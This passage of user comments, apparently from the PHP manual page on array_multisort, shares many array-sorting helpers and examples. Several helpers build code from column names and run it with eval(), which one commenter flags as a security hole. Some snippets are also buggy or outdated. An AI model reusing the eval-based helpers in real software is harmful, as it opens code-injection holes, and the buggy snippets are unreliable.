* -------- function arguments --------
*   $array ........ array of objects
*   $sortby ....... the object-key to sort by
*   $direction ... 'asc' = ascending
* --------
*/

function sort_arr_of_obj($array, $sortby, $direction='asc') {

    $sortedArr = array();
    $tmp_Array = array();

    foreach($array as $k => $v) {
        $tmp_Array[] = strtolower($v->$sortby);
    }

    if($direction=='asc'){
        asort($tmp_Array);
    }else{
        arsort($tmp_Array);
    }

    foreach($tmp_Array as $k=>$tmp){
        $sortedArr[] = $array[$k];
    }

    return $sortedArr;

}

// --------------------------------------
?>

example call:
----------------------------------

<?php

$sorted->Artikel = sort_arr_of_obj($object->Artikel,'title','asc');

?>

example result: $sorted (class: test)
----------------------------------

test Object (
  [Artikel] => Array (
      [0] => test Object (
            [id] => 2
            [title] => AAAA
         )
      [1] => test Object (
            [id] => 4
            [title] => BBBB
         )
      [2] => test Object (
            [id] => 1
            [title] => CCCC
         )
      [3] => test Object (
            [id] => 3
            [title] => DDDD
         )

   )
)

-------------------------

:)
rnacken at gmail dot com 12-Feb-2012 08:59
When I was working on a search engine, that had to order the results in PHP by multiple arguments, I got stuck on the issue of multisort erasing your (numeral) indexes for a while. Sometimes, it is important to keep these indexes intact. In my case, the indexes were IDs and the values were a percentage of how relevant the object was, considering an earlier query.
e.g: $searchResult = (23 => 0.3,
                    102 => 0.5,
                    11 => 0.5,
                    340 => 0.5,
                    10 => 0.9);

I wanted to use array_multisort to first sort DESC on the IDs, and then on the values DESC. i.e. I wanted to show the highest values first, but in case of two (or more) objects with the same value, the higher ID would be shown first.
e.g: $searchResult = (10 => 0.9,
                   340 => 0.5,
                   102 => 0.5,
                   11 => 0.5,
                   23 => 0.3);

The easiest way to do this, I think, is:
<?php
    // create a 2-deep array with the values and keys of $searchResult
    $array = array(
               $searchResult,
               array_keys($searchResult)
    );
    // use multisort, first on the values, then on the keys. This will erase the indexes in the $searchResult array
    array_multisort($array[0], SORT_DESC,  $array[1], SORT_DESC);
    // get the ordered keys back in the $searchResult array
    $searchResult = array_combine($array[1], $array[0]);
    unset($array); //clear some memory
?>
nick ([AT]) nickyost ([DOT]) com 16-Sep-2011 12:36
USort function can be used to sort multidimensional arrays with almost no work whatsoever by using the individual values within the custom sort function.

This function passes the entire child element even if it is not a string. If it is an array, as would be the case in multidimensional arrays, it will pass the whole child array as one parameter.

Therefore, do something elegant like this:

<?php
     // Sort the multidimensional array
     usort($results, "custom_sort");
     // Define the custom sort function
     function custom_sort($a,$b) {
          return $a['some_sub_var']>$b['some_sub_var'];
     }
?>

This does in 4 lines what other functions took 40 to 50 lines to do. This does not require you to create temporary arrays or anything. This is, for me, a highly preferred solution over this function.

Hope it helps!
info at ichier dot de 28-Jul-2011 05:59
if you want to sort an array by columns, this is the function to do it.

<?php
function array_csort() {        //coded by Ichier2003
    $args = func_get_args();
    $marray = array_shift($args);
    $msortline = 'return(array_multisort(';
    foreach ($args as $arg) {
        $i++;
        if (is_string($arg)) {
            foreach ($marray as $row) {
                $sortarr[$i][] = $row[$arg];
            }
        } else {
            $sortarr[$i] = $arg;
        }
        $msortline .= '$sortarr['.$i.'],';
    }
    $msortline .= '$marray));';
    eval($msortline);
    return $marray;
}
?>
thierryzo at hotmail dot fr 29-Jun-2011 11:27
//A very simple way to sort arrays with this kind of structure.

<?php
    $myArray =array(
        array("NUMCIE" => "001","REF" => "RXL","COLOR" => "RED","L1" => 4),
        array("NUMCIE" => "001","REF" => "RXL","COLOR" => "BLUE","L1" => 6),
        array("NUMCIE" => "001","REF" => "RHQ","COLOR" => "RED","L1" => 4),
        array("NUMCIE" => "002","REF" => "RXL","COLOR" => "YELLOW","L1" => 8));

    foreach($myArray as $c=>$key) {
        $sort_numcie[] = $key['NUMCIE'];
        $sort_ref[] = $key['REF'];
        $sort_color[] = $key['COLOR'];
    }

    array_multisort($sort_numcie, SORT_ASC, $sort_ref, SORT_STRING, $myArray);
    print_r($myArray);

?>

//Result array

Array
(
    [0] => Array
        (
            [NUMCIE] => 001
            [REF] => RHQ
            [COLOR] => RED
            [L1] => 4
        )

    [1] => Array
        (
            [NUMCIE] => 001
            [REF] => RXL
            [COLOR] => BLUE
            [L1] => 6
        )

    [2] => Array
        (
            [NUMCIE] => 001
            [REF] => RXL
            [COLOR] => RED
            [L1] => 4
        )

    [3] => Array
        (
            [NUMCIE] => 002
            [REF] => RXL
            [COLOR] => YELLOW
            [L1] => 8
        )

)
Jaak Tamre 22-Mar-2011 03:42
I had a problem with sorting SimpleXMLElement list. I found a nice short solution.

I have an array of ticket objects: $ticketList = $xml->Tickets;

<?php
// Sort by ValidOnDate
$tickets = array();
$valid = array();
foreach ($ticketList as $row) {
    $tickets[] = $row;
    $valid[] = DateHandler::parseDate($row->ValidOnDate);
}
array_multisort($valid, SORT_DESC, $tickets);
?>

Just make an array of object items you want to sort by and a new array for the same objects which will be reordered like the first array.

Ps: my own parseDate(date) returns unix timestamp for different date formats.
jimpoz at jimpoz dot com 21-Oct-2010 11:26
I came up with an easy way to sort database-style results. This does what example 3 does, except it takes care of creating those intermediate arrays for you before passing control on to array_multisort().

<?php
function array_orderby()
{
    $args = func_get_args();
    $data = array_shift($args);
    foreach ($args as $n => $field) {
        if (is_string($field)) {
            $tmp = array();
            foreach ($data as $key => $row)
                $tmp[$key] = $row[$field];
            $args[$n] = $tmp;
            }
    }
    $args[] = &$data;
    call_user_func_array('array_multisort', $args);
    return array_pop($args);
}
?>

The sorted array is now in the return value of the function instead of being passed by reference.

<?php
$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);

// Pass the array, followed by the column names and sort flags
$sorted = array_orderby($data, 'volume', SORT_DESC, 'edition', SORT_ASC);
?>
zequez at gmail dot com 07-May-2010 12:19
Easiest way I find out to sort an entire multidimensional array by one element of it:

<?php
$multiArray = Array(
    Array("id" => 1, "name" => "Defg"),
    Array("id" => 2, "name" => "Abcd"),
    Array("id" => 3, "name" => "Bcde"),
    Array("id" => 4, "name" => "Cdef"));
$tmp = Array();
foreach($multiArray as &$ma)
    $tmp[] = &$ma["name"];
array_multisort($tmp, $multiArray);
foreach($multiArray as &$ma)
    echo $ma["name"]."<br/>";

/* Outputs
    Abcd
    Bcde
    Cdef
    Defg
*/
?>

^-^
alexander dot v at zend dot com 20-Jan-2010 12:42
array_multisort works normally in php 5.3, but it forces arguments to be references.

It doesn't make differences for common array_multisort() usage, but makes "problems" for sorting variable number of arrays where call_user_func_array() function is involved.

So all sorting arrays have to be collected into new one as a references to array variables:

<?php
$sortArgs = array();

for (...) {
    ...
    $sortArgs[] = &$valuesArray;
    ...
}

call_user_func_array('array_multisort', $sortArgs);
?>

This (requiring arguments to be a reference) is not actually a problem since source array will not be sorted otherwise.

Important note!
Don't forget to destroy $valuesArray variable if you use it over each array_multisort() argument processing iteration.
If you don't do it, all array_multisort() arguments will contain the same array:

<?php
for (...) {
    ...
    $sortArgs[] = &$valuesArray;
    unset($valuesArray);
    ...
}
?>

And the last important thing :)
Collect sorting arrays somewhere. PHP 5.3 will transfer reference into value (when $valuesArray is destroyed) and you will get "Parameter 1 to array_multisort() expected to be a reference, value given" warning again otherwise.

Final code should look like this:

<?php
$sortArgs = array();
$sortFieldValues = array();

for (...) {
    ...
    $sortFieldValues[] = &$valuesArray;
    $sortArgs[] = &$valuesArray;
    unset($valuesArray);
    ...
}

call_user_func_array('array_multisort', $sortArgs);
?>
d_inkubus at yahoo dot com 22-Dec-2009 12:33
Update to array_msort()--in PHP 5.3 it won't work.

The solution is to replace the array_merge($params, $order) with the following code snippet:

<?php
$order=(array)$order;
foreach($order as $order_element)
{
    $params[]=&$order_element;
}
?>

Full code to array_msort():

<?php
function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order)
    {
        $colarr[$col] = array();
        foreach ($array as $k => $row)
        {
            $colarr[$col]['_'.$k] = strtolower($row[$col]);
        }
    }
    $params = array();
    foreach ($cols as $col => $order)
    {

        $params[] =&$colarr[$col];
        $order=(array)$order;
        foreach($order as $order_element)
        {
            //pass by reference, as required by php 5.3
            $params[]=&$order_element;
        }
    }
    call_user_func_array('array_multisort', $params);
    $ret = array();
    $keys = array();
    $first = true;
    foreach ($colarr as $col => $arr)
    {
        foreach ($arr as $k => $v)
        {
            if ($first)
            {
                $keys[$k] = substr($k,1);
            }
            $k = $keys[$k];

            if (!isset($ret[$k]))
            {
                $ret[$k] = $array[$k];
            }

            $ret[$k][$col] = $array[$k][$col];
        }
        $first = false;
    }
    return $ret;
}
?>

For further reference, see these bug reports:
http://bugs.php.net/bug.php?id=49069
http://bugs.php.net/bug.php?id=49241
s dot i dot g at gmx dot com 10-Jul-2009 03:21
simple dns mx record sorting

<?php
//getting domain name
list($user, $domain) = split('[@]', $email);
getmxrr($domain, $mx_server, $mx_weight);

//sorting
for($i = 0; $i < count($mx_server); $i++)
{
    $mx[$i] = array
    (
      "server" => $mx_server[$i],
      "weight" => $mx_weight[$i],
    );
}
array_multisort($mx_weight, SORT_ASC, $mx_server, SORT_ASC, $mx);

//display result
print_r($mx);

//usage
$server = $mx[0]["server"];
?>
cagret at gmail dot com 21-Jun-2009 12:38
Update to array_msort(): instead of eval() using call_user_func_array(). If we get column sorting via $_GET it would be a serious security hole.

Now it also accepts multiple options for each column:

<?php
$arr2 = array_msort($arr1, array('name'=>array(SORT_DESC,SORT_REGULAR), 'cat'=>SORT_ASC));
?>

Btw. this function is automatically case-insensitive, as you can see use of strtolower().

<?php
function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order) {
        $colarr[$col] = array();
        foreach ($array as $k => $row) { $colarr[$col]['_'.$k] = strtolower($row[$col]); }
    }
    $params = array();
    foreach ($cols as $col => $order) {
        $params[] =& $colarr[$col];
        $params = array_merge($params, (array)$order);
    }
    call_user_func_array('array_multisort', $params);
    $ret = array();
    $keys = array();
    $first = true;
    foreach ($colarr as $col => $arr) {
        foreach ($arr as $k => $v) {
            if ($first) { $keys[$k] = substr($k,1); }
            $k = $keys[$k];
            if (!isset($ret[$k])) $ret[$k] = $array[$k];
            $ret[$k][$col] = $array[$k][$col];
        }
        $first = false;
    }
    return $ret;

}
?>
cagret at gmail dot com 20-Jun-2009 09:16
A more inuitive way of sorting multidimensional arrays using array_msort() in just one line, you don't have to divide the original array into per-column-arrays:

<?php

$arr1 = array(
    array('id'=>1,'name'=>'aA','cat'=>'cc'),
    array('id'=>2,'name'=>'aa','cat'=>'dd'),
    array('id'=>3,'name'=>'bb','cat'=>'cc'),
    array('id'=>4,'name'=>'bb','cat'=>'dd')
);

$arr2 = array_msort($arr1, array('name'=>SORT_DESC, 'cat'=>SORT_ASC));

debug($arr1, $arr2);

arr1:
    0:
        id: 1 (int)
        name: aA (string:2)
        cat: cc (string:2)
    1:
        id: 2 (int)
        name: aa (string:2)
        cat: dd (string:2)
    2:
        id: 3 (int)
        name: bb (string:2)
        cat: cc (string:2)
    3:
        id: 4 (int)
        name: bb (string:2)
        cat: dd (string:2)
arr2:
    2:
        id: 3 (int)
        name: bb (string:2)
        cat: cc (string:2)
    3:
        id: 4 (int)
        name: bb (string:2)
        cat: dd (string:2)
    0:
        id: 1 (int)
        name: aA (string:2)
        cat: cc (string:2)
    1:
        id: 2 (int)
        name: aa (string:2)
        cat: dd (string:2)

function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order) {
        $colarr[$col] = array();
        foreach ($array as $k => $row) { $colarr[$col]['_'.$k] = strtolower($row[$col]); }
    }
    $eval = 'array_multisort(';
    foreach ($cols as $col => $order) {
        $eval .= '$colarr[\''.$col.'\'],'.$order.',';
    }
    $eval = substr($eval,0,-1).');';
    eval($eval);
    $ret = array();
    foreach ($colarr as $col => $arr) {
        foreach ($arr as $k => $v) {
            $k = substr($k,1);
            if (!isset($ret[$k])) $ret[$k] = $array[$k];
            $ret[$k][$col] = $array[$k][$col];
        }
    }
    return $ret;

}

?>
m dot michalczyk at gmail dot com 16-May-2009 12:45
Here is useful example based on za at byza dot it solution to sort multidimensional objects by any dimension.
za at byza dot it
<?php
/* Example structure */
class person{
    function __construct($firstName, $lastName, $title, $position){
        $this->firstName = $firstName;
        $this->lastName = $lastName;
        $this->title = new title($title);
        $this->position = new position($position);
    }
}
class title{
    function __construct($name){
        $this->name = $name;
    }

}
class position{
    function __construct($name){
        $this->name = $name;
    }

}

$array[] = new person('Piotr', 'Sobiepanek', 'b', 'b');
$array[] = new person('Piotr', 'Kowalski', 'b', 'a');
$array[] = new person('Piotr', 'Michalski', 'a', 'a');
$array[] = new person('Jozef', 'Smietana', 'a', 'b');
$array[] = new person('Jozef', 'Cmietana', 'a', 'b');
$array[] = new person('Marcin', 'Kondraciuk', 'c', 'b');
$array[] = new person('Maksym', 'Kondraciuk', 'c', 'd');
$array[] = new person('Ambrozy', 'Kondraciuk', 'c', 'd');
$array[] = new person('Alojzy', 'Kondraciuk', 'c', 'd');

array_sort($array, 'title->name', 'position->name', 'lastName');
print_r($array);

/* Source */

function hod(&$base, $path){
    $keys = explode("->", $path);
    $keys[0] = str_replace('$', '', $keys[0]);
    $expression = '$ret = ';
    $expression.= '$';
    foreach ($keys as $key){
        if (++$licz == 1){
            $expression.= 'base->';
        } else {
            $expression.= $key.'->';
        }
    }
    $expression = substr($expression, 0, -2);
    $expression.= ';';
    eval($expression);
    return $ret;
}

function array_sort_func($a,$b=NULL) {
   static $keys;
   if($b===NULL) return $keys=$a;
   foreach($keys as $k) {
      if($k[0]=='!') {
         $k=substr($k,1);
         if(hod($a, '$a->'.$k)!==hod($b, '$b->'.$k)) {
            return strcmp(hod($b, '$b->'.$k),hod($a, '$a->'.$k));
         }
      }
      else if(hod($a, '$a->'.$k)!==hod($b, '$b->'.$k)) {
         return strcmp(hod($a, '$a->'.$k),hod($b, '$b->'.$k));
      }
   }
   return 0;
}

function array_sort(&$array) {
   if(!$array) return $keys;
   $keys=func_get_args();
   array_shift($keys);
   array_sort_func($keys);
   usort($array,"array_sort_func");
}
?>
za at byza dot it 27-Apr-2009 07:08
I wrote a function to sort a multidimensional array by multiple columns in ascending and descending order.

Sample array:

<?php
$my_array=array(
   array('id'=>1, 'surname'=>'rossi', 'name'=>'mario', 'group'=>'admin'),
   array('id'=>2, 'surname'=>'rossi', 'name'=>'giovanni', 'group'=>'user'),
   array('id'=>3, 'surname'=>'verdi', 'name'=>'luigi', 'group'=>'user'),
   array('id'=>4, 'surname'=>'verdi', 'name'=>'franco', 'group'=>'guest'),
   array('id'=>5, 'surname'=>'bianchi', 'name'=>'mario', 'group'=>'guest')
);
?>

Example: <?php array_sort($my_array,'!group','surname'); ?>

Output: sort the array DESCENDING by group and then ASCENDING by surname. Notice the use of ! to reverse the sort order. Rows order will be: 2,3,5,4,1

The function code:

<?php
function array_sort_func($a,$b=NULL) {
   static $keys;
   if($b===NULL) return $keys=$a;
   foreach($keys as $k) {
      if(@$k[0]=='!') {
         $k=substr($k,1);
         if(@$a[$k]!==@$b[$k]) {
            return strcmp(@$b[$k],@$a[$k]);
         }
      }
      else if(@$a[$k]!==@$b[$k]) {
         return strcmp(@$a[$k],@$b[$k]);
      }
   }
   return 0;
}

function array_sort(&$array) {
   if(!$array) return $keys;
   $keys=func_get_args();
   array_shift($keys);
   array_sort_func($keys);
   usort($array,"array_sort_func");
}
?>
mech.cx 28-Mar-2009 09:04
I was (as near everyone here :-) looking to sort 2-dimensional arrays by certain fields in the associative sub-arrays.
What I didn't like about the documentation examples is that you need to loop through the input array to create sub arrays first, then use those in the function call.

"php a-t-the-r-a-t-e chir.ag" (http://www.php.net/manual/en/function.array-multisort.php#60401) wrote a quite cunning wrapper function, I rewrote it slightly, changing variable names and adding comments (for my sanity :-) mostly.
One snag I found: the input array is passed to array_multisort as last argument, but the changed array is not the one that is returned. Passing it by reference fixed that. This seems to be caused by the whole thing sitting inside the call_user_func_array, as shown below.

<?php

$points = array(1, 5, 2, 2);
$names  = array('peter', 'mike', 'john Zoo', 'john Ab');

$source = array (
  array ( 'points' => 1, 'name' => 'Peter'),
  array ( 'points' => 5, 'name' => 'Mike'),
  array ( 'points' => 2, 'name' => 'John Zoo'),
  array ( 'points' => 2, 'name' => 'John Ab')
);

call_user_func_array('array_multisort', array($points, SORT_DESC, SORT_NUMERIC, $names, SORT_ASC, SORT_STRING, $source)); // doesn't work
print_r($source);
call_user_func_array('array_multisort', array($points, SORT_DESC, SORT_NUMERIC, $names, SORT_ASC, SORT_STRING, &$source)); // works!
print_r($source);

// Call like arrayColumnSort('points', SORT_DESC, SORT_NUMERIC, 'name', SORT_ASC, SORT_STRING, $source);

// Slightly adapted from http://www.php.net/manual/en/function.array-multisort.php#60401

// arrayColumnSort(string $field, [options, ], string $field2, [options, ], .... , $array) /

//____________________
// arrayColumnSort() /
function arrayColumnSort() {
  $args  = func_get_args();
  $array = array_pop($args);
  if (! is_array($array)) return false;
  // Here we'll sift out the values from the columns we want to sort on, and put them in numbered 'subar' ("sub-array") arrays.
  //   (So when sorting by two fields with two modifiers (sort options) each, this will create $subar0 and $subar3)
  foreach($array as $key => $row) // loop through source array
    foreach($args as $akey => $val) // loop through args (fields and modifiers)
      if(is_string($val))             // if the arg's a field, add its value from the source array to a sub-array
        ${"subar$akey"}[$key] = $row[$val];
  // $multisort_args contains the arguments that would (/will) go into array_multisort(): sub-arrays, modifiers and the source array
  $multisort_args = array();
  foreach($args as $key => $val)
    $multisort_args[] = (is_string($val) ? ${"subar$key"} : $val);
  $multisort_args[] = &$array;   // finally add the source array, by reference
  call_user_func_array("array_multisort", $multisort_args);
  return $array;
}

?>
frank at overdrunk dot net 14-Jan-2009 11:38
I had a function to make a sort on a 2D array and I wanted to sort an array using a column that usualy contains numeric values but also strings.

Lets say we have this array :

Array (
  [0] => Array ( "name" = "12000" ),
  [1] => Array ( "name" = "113" ),
  [2] => Array ( "name" = "test 01" ),
  [3] => Array ( "name" = "15000 tests" ),
  [4] => Array ( "name" = "45" ),
  [5] => Array ( "name" = "350" ),
  [6] => Array ( "name" = "725" ),
  [7] => Array ( "name" = "hello" )
}

SORT_STRING whould have returned me this :

Array ( // Numeric values are not correctly sorted
  [0] => Array ( "name" = "113" ),
  [1] => Array ( "name" = "12000" ),
  [2] => Array ( "name" = "15000 tests" ),
  [3] => Array ( "name" = "350" ),
  [4] => Array ( "name" = "45" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "hello" ),
  [7] => Array ( "name" = "test 01" )
}

SORT_NUMERIC would have returned me this :

Array ( // String values are not sorted, just in the same order
  [0] => Array ( "name" = "test 01" ),
  [1] => Array ( "name" = "hello" ),
  [2] => Array ( "name" = "45" ),
  [3] => Array ( "name" = "113" ),
  [4] => Array ( "name" = "350" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "12000" ),
  [7] => Array ( "name" = "15000 tests" ),
}

So I've made this hybrid code which combines the best of both worlds by merging content sorted either way according to the first caracter of the string:

<?php
/**
 * Sorts an array according to a specified column
 * Params : array  $table
 *          string $colname
 *          bool   $numeric
 **/
function sort_col($table, $colname) {
  $tn = $ts = $temp_num = $temp_str = array();
  foreach ($table as $key => $row) {
    if(is_numeric(substr($row[$colname], 0, 1))) {
      $tn[$key] = $row[$colname];
      $temp_num[$key] = $row;
    }
    else {
      $ts[$key] = $row[$colname];
      $temp_str[$key] = $row;
    }
  }
  unset($table);

  array_multisort($tn, SORT_ASC, SORT_NUMERIC, $temp_num);
  array_multisort($ts, SORT_ASC, SORT_STRING, $temp_str);
  return array_merge($temp_num, $temp_str);
}
?>

It would return something like this :

Array (
  [2] => Array ( "name" = "45" ),
  [3] => Array ( "name" = "113" ),
  [4] => Array ( "name" = "350" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "12000" ),
  [7] => Array ( "name" = "15000 tests" ),
  [1] => Array ( "name" = "hello" ),
  [0] => Array ( "name" = "test 01" ),
}
Zbigniew Heintze http://bigweb.pl 27-Nov-2008 08:36
<?php
/**
 * Sort DB result
 *
 * @param array $data Result of sql query as associative array
 *
 * Rest of parameters are optional
 * [, string $name  [, mixed $name or $order  [, mixed $name or $mode]]]
 * $name string - column name i database table
 * $order integer - sorting direction ascending (SORT_ASC) or descending (SORT_DESC)
 * $mode integer - sorting mode (SORT_REGULAR, SORT_STRING, SORT_NUMERIC)
 *
 * <code>
 * <?php
 * // You can sort data by several columns e.g.
 * $data = array();
 * for ($i = 1; $i <= 10; $i++) {
 *     $data[] = array( 'id' => $i,
 *                      'first_name' => sprintf('first_name_%s', rand(1, 9)),
 *                      'last_name' => sprintf('last_name_%s', rand(1, 9)),
 *                      'date' => date('Y-m-d', rand(0, time()))
 *                  );
 * }
 * $data = sortDbResult($data, 'date', SORT_DESC, SORT_NUMERIC, 'id');
 * printf('<pre>%s</pre>', print_r($data, true));
 * $data = sortDbResult($data, 'last_name', SORT_ASC, SORT_STRING, 'first_name', SORT_ASC, SORT_STRING);
 * printf('<pre>%s</pre>', print_r($data, true));
 * ?>
 * </code>
 *
 * @return array $data - Sorted data
 */
function sortDbResult(array $data /*$name, $order, $mode*/) {
    $_argList = func_get_args();
    $_data = array_shift($_argList);
    if (empty($_data)) {
        return $_data;
    }
    $_max = count($_argList);
    $_params = array();
    $_cols = array();
    $_rules = array();
    for ($_i = 0; $_i < $_max; $_i += 3)
    {
        $_name = (string) $_argList[$_i];
        if (!in_array($_name, array_keys(current($_data)))) {
            continue;
        }
        if (!isset($_argList[($_i + 1)]) || is_string($_argList[($_i + 1)])) {
            $_order = SORT_ASC;
            $_mode = SORT_REGULAR;
            $_i -= 2;
        } else if (3 > $_argList[($_i + 1)]) {
            $_order = SORT_ASC;
            $_mode = $_argList[($_i + 1)];
            $_i--;
        } else {
            $_order = $_argList[($_i + 1)] == SORT_ASC ? SORT_ASC : SORT_DESC;
            if (!isset($_argList[($_i + 2)]) || is_string($_argList[($_i + 2)])) {
                $_mode = SORT_REGULAR;
                $_i--;
            } else {
                $_mode = $_argList[($_i + 2)];
            }
        }
        $_mode = $_mode != SORT_NUMERIC
                    ? $_argList[($_i + 2)] != SORT_STRING ? SORT_REGULAR : SORT_STRING
                    : SORT_NUMERIC;
        $_rules[] = array('name' => $_name, 'order' => $_order, 'mode' => $_mode);
    }
    foreach ($_data as $_k => $_row) {
        foreach ($_rules as $_rule) {
            if (!isset($_cols[$_rule['name']])) {
                $_cols[$_rule['name']] = array();
                $_params[] = &$_cols[$_rule['name']];
                $_params[] = $_rule['order'];
                $_params[] = $_rule['mode'];
            }
            $_cols[$_rule['name']][$_k] = $_row[$_rule['name']];
        }
    }
    $_params[] = &$_data;
    call_user_func_array('array_multisort', $_params);
    return $_data;
}
?>
oOo at OoO dot com 10-Nov-2008 09:58
Since the manual doesn't specify so, I want to point out that the SORT_NUMERIC flag does also work correctly if the values are floating point numbers.
Just don't forget to also add the respective SORT_ASC or SORT_DESC flag :)
matt at idizinc dot com 23-Oct-2008 08:47
I looked on some forms for an answer to this simple problem and couldn't find one so I came up with a solution that may help in some situations.

How do you sort an array by a field in that array and resolve numeric ties randomly?

Code:
<?php

foreach($list as $temp_list)
{
   $sort_aux[] = ($temp_list['column_to_sort_by']+(rand(1, 9)/10));
}
array_multisort($sort_aux, SORT_NUMERIC, $list);

?>

Example:

$list[]=array('name'=>'Tom', 'score'=>3);
$list[]=array('name'=>'Sam', 'score'=>3);
$list[]=array('name'=>'Joey', 'score'=>1);

Explanation:
I took an existing example found above that shows how to sort an array by one of it's columns/fields.
I just added: "+(rand(1,9)/10)" To randomly add .1 through .9 to their score to resolve the tie. (Obviously this specific example only works if you're sorting by an integer... so you may need to modify it to suit your needs.)

Hope this helps someone.
isp dot php at spspft dot de 19-Oct-2008 02:44
I would like to report a kind of confusion that arose with the message

Warning: Call-time pass-by-reference has been deprecated; If you would like to pass it by reference, modify the declaration of array_multisort(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file...

from a line like this:

array_multisort (&$keyarr, &$arr );// sort against this keys

This message is not easily switched off by changing the error reporting level because it's produced at parsinig time -- not execution time.

I think this message is misleading because the arguments are passed by reference ANYWAY in array_multisort.

Anybody encountering this message should know that nothing has to be done, except deleting the ampersands (&).
I was tricked by this message because of couse I wanted to have the *sorted* array back. And couldn't find the ini file nor the declaration of array_multisort.
I think in this description of array_multisort the call by reference should be listed in the definition.

Hope this helps someone
seiffs_at_centrum-dot-cz 18-Aug-2008 05:53
There have to be two corrections to the php_multisort($data,$keys)

    // Sort Expression
    $i=0;
    $sort='';  //here
    foreach ($keys as $k){
      if($i>0){$sort.=',';}
      $sort.='$cols[\''.$k['key'].'\']'; //and here
      if($k['sort']){$sort.=',SORT_'.strtoupper($k['sort']);}
      if($k['type']){$sort.=',SORT_'.strtoupper($k['type']);}
      $i++;
    }
php {dot} net [arrt] sebble.com 11-May-2008 11:16
I was requiring a PHP function a sort my array data as part of an SQL interpreter for PHP arrays. This is the code I came up with. and works wonderfully.

I hope this helps somebody. If anyone uses this, let me know what you think, if there are any problems with it...

<?

##                ##
##  PHPMultiSort  ##
##                ##
// Takes:
//        $data,  multidim array
//        $keys,  array(array(key=>col1, sort=>desc), array(key=>col2, type=>numeric))

function php_multisort($data,$keys){

  // List As Columns
  foreach ($data as $key => $row) {
    foreach ($keys as $k){
      $cols[$k['key']][$key] = $row[$k['key']];
    }
  }
  // List original keys
  $idkeys=array_keys($data);
  // Sort Expression
  $i=0;
  foreach ($keys as $k){
    if($i>0){$sort.=',';}
    $sort.='$cols['.$k['key'].']';
    if($k['sort']){$sort.=',SORT_'.strtoupper($k['sort']);}
    if($k['type']){$sort.=',SORT_'.strtoupper($k['type']);}
    $i++;
  }
  $sort.=',$idkeys';
  // Sort Funct
  $sort='array_multisort('.$sort.');';
  eval($sort);
  // Rebuild Full Array
  foreach($idkeys as $idkey){
    $result[$idkey]=$data[$idkey];
  }
  return $result;
}

###############

// Example Data

$_DATA['table1'][] = array("name" => "Sebastian", "age" => 18, "male" => true);
$_DATA['table1'][] = array("name" => "Lawrence",  "age" => 16, "male" => true);
$_DATA['table1'][] = array("name" => "Olivia",    "age" => 10, "male" => false);
$_DATA['table1'][] = array("name" => "Dad",       "age" => 50, "male" => true);
$_DATA['table1'][] = array("name" => "Mum",       "age" => 40, "male" => false);
$_DATA['table1'][] = array("name" => "Sebastian", "age" => 56, "male" => true);
$_DATA['table1'][] = array("name" => "Lawrence",  "age" => 19, "male" => true);
$_DATA['table1'][] = array("name" => "Olivia",    "age" => 24, "male" => false);
$_DATA['table1'][] = array("name" => "Dad",       "age" => 10, "male" => true);
$_DATA['table1'][] = array("name" => "Mum",       "age" => 70, "male" => false);

###############

$res=php_multisort($_DATA['table1'], array(array('key'=>'name'),array('key'=>'age','sort'=>'desc')))
var_dump($res);

/*
array(10) {
  [8]=>
  array(3) {
    ["name"]=>
    string(3) "Dad"
    ["age"]=>
    int(10)
    ["male"]=>
    bool(true)
  }
  [3]=>
  array(3) {
    ["name"]=>
    string(3) "Dad"
    ["age"]=>
    int(50)
    ["male"]=>
    bool(true)
  }
  [1]=>
  array(3) {
    ["name"]=>
    string(8) "Lawrence"
    ["age"]=>
    int(16)
    ["male"]=>
    bool(true)
  }
  [6]=>
  array(3) {
    ["name"]=>
    string(8...
*/
?>
joopm at hotmail dot com 10-Apr-2008 01:50
@ scott at bartoncomputer dot com

You could also reference the array (if you wanted the original array in the object sorted):

array_multisort($position, SORT_DESC, &$clsVar->data);

Regards, Chr.
glenn at freebsd dot nl 29-Nov-2007 07:49
To sort a nested array by column (key/index):

Example: two entries in the nested array:

firstarray[0]['adres'] = "adres1"
firstarray[0]['email'] = "email2"

firstarray[1]['adres'] = "adres2"
firstarray[1]['email'] = "email1"

-----------------------------------------

Without code: output would put adres1/email2 on top

-----------------------------------------

foreach($firstarray as $sortarray)
{
$column[] = $sortarray['email'];
array_multisort($column, SORT_ASC, $firstarray);
}

-----------------------------------------

With code: output would put adres2/email1 on top
scott at bartoncomputer dot com 03-May-2007 07:18
I didn't see this noted anywhere, so I figured I'd put in a little comment regarding arrays located inside classes. For instance:

class abc
{
   var $data;
}

The following code does not act as expected:

$clsVar =& new abc();

foreach ($clsVar->data as $key => $row)
{
   $position[$key]  = $key;
}

array_multisort($position, SORT_DESC, $clsVar->data);

While I realize this could much easily be acheived using ksort(), this is merely a much more simple example of this behaviour. The exerpt above comes from a much more complicated sort using multi-scripted arrays.

Anyway the only way I could find to get around the behaviour of multisort not sorting the referenced class-array was to make a copy of it as below:

$clsVar =& new abc();
$newData = $clsVar->data;

foreach ($newData as $key => $row)
{
   $position[$key]  = $key;
}

array_multisort($position, SORT_DESC, $newData);

Now newData will contain the sorted array as expected.

Hopefully this helps someone else!
10-Apr-2007 12:01
<?php

    $strDeger = 'aaaa|bbbb|cccc';

    $arrBol = explode('|',$strDeger);

    array_multisort($arrBol, SORT_DESC);

    for($i = 0; $i <= count($arrBol); $i++) {

        echo $arrBol[$i].'<br />';

    }

?>
vermon7 27-Feb-2007 10:23
When using array_multisort() on copies of arrays, it is changing all the copies, even if you modify the copy before using array_multisort().

I've avoided this bug by serializing a copy of array before calling array_multisort, and unserializg it after array_multisort() Look at the code:

<?php

$records_copy = serialize($records) ;
array_multisort ( $records[$sort_field] , $records[$sort2_field] ) ;
$records_copy = unserialize($records_copy) ;

?>
Jon L. -- intel352 [AT] gmail [DOT] com 26-Feb-2007 05:27
This is my solution for a dynamic multisort, using POST values. This doesn't account for a need to sort by multiple columns at once, but could be modified for that purpose.

<?php
    /**
